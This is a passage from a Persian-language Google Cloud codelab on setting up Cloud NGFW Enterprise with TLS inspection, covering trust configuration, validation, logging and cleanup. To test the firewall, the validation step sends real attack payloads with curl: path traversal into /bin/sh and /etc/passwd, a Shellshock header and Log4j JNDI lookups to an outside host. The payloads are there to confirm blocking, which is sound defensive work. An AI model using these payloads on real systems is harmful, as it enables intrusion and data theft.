از آنجایی که گواهی سرور شما با استفاده از Root CA امضا شده است، دستورات بالا شامل گواهی Root CA شما به عنوان بخشی از ذخیره اعتماد می شود. این بدان معنی است که فایروال به هر گواهینامه ای که توسط Root CA شما امضا شده باشد، اعتماد خواهد کرد - علاوه بر CAهای عمومی اگر خط مشی TLS شما از PublicCaSet خارج شده باشد تا false باشد.

محتویات پیکربندی اعتماد را بررسی کنید.

cat trust_config.yaml 

خروجی نمونه:

به تراز تورفتگی گواهی دقت کنید. باید دقیقاً از این فرمت پیروی کند.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

پیکربندی اعتماد را وارد کنید:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

فایل YAML خط مشی TLS را به‌روزرسانی کنید تا پیکربندی اعتماد را نیز در بر گیرد:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

وارد کردن خط مشی به روز شده TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. اعتبارسنجی بازرسی E/W TLS

SSH به مشتری باز می گردد تا ترافیک E/W را با پیکربندی اعتماد به روز شده آزمایش کند:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نمونه درخواست TLS را به سرور اجرا کنید:

curl https://$target_privateip --max-time 2

اگر همچنان خروجی زیر را دریافت می‌کنید، لطفاً منتظر انتشار به‌روزرسانی‌ها باشید.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

خروجی مورد انتظار:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

ارسال ترافیک آزمایشی مخرب به سرور:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

خروجی مورد انتظار:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

هیچ پاسخی مطابق با خروجی مورد انتظار زیر دریافت نمی‌شود، که تأیید می‌کند که حملات نمونه اکنون برای E/W مسدود شده‌اند.

13. ورود به سیستم

از طریق Cloud Console به Logging > Logs Explorer بروید، فیلتر زیر را وارد کرده و لاگ ها را جستجو کنید. [PROJECT_ID] را با project_id خود جایگزین کنید:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ورودی های Cloud NGFW Enterprise باید مانند زیر دیده شوند:

5b68cc1063c0f4bd.png

ورودی های گزارش را گسترش دهید و توجه داشته باشید که حملات ارسال شده از vm کلاینت به سرور شناسایی و مسدود شده اند ( Apache Log4j Remote Code Execution Vulnerability مطابق تصویر زیر).

478f18f8481e90ed.png

شما با موفقیت Cloud NGFW Enterprise را با بازرسی TLS برای مسدود کردن درخواست‌های مخرب مستقر کرده‌اید.

برای مراحل پاکسازی به بخش بعدی بروید.

14. مراحل پاکسازی

پاکسازی راه اندازی پایه

موارد را حذف کنید:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

اگر نقش‌های tagAdmin و tagUsers تغییر کردند، مراحل زیر را انجام دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

کلید و مقادیر Tag را حذف کنید:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

خط‌مشی و ارتباط شبکه فایروال ابری را حذف کنید:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router و Cloud NAT را حذف کنید:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

آدرس های IP رزرو شده را حذف کنید:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG، Association و TLS Clean-Up

گروه نمایه امنیتی و نمایه تهدید را به ترتیب حذف کنید:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ارتباط نقطه پایانی Cloud Firewall را حذف کنید:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

نقطه پایانی Cloud Firewall را حذف کنید، که ممکن است حدود 20 دقیقه طول بکشد:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

در صورت تمایل، با اجرای دستور زیر تأیید کنید که نقطه پایانی Cloud NGFW حذف شده است:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

وضعیت نقطه پایانی باید نشان دهد:

STATE: DELETING

پس از تکمیل، نقطه پایانی دیگر لیست نخواهد شد.

سیاست TLS و پیکربندی اعتماد را به ترتیب حذف کنید:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Root CA و CA Pool را غیرفعال و حذف کنید:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

پاکسازی زیر شبکه و VPC

در نهایت، زیر شبکه و شبکه VPC را حذف کنید:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. تبریک می گویم!

تبریک می‌گوییم، شما با موفقیت Cloud NGFW Enterprise for East-West و Northbound TLS Inspection را تکمیل کردید.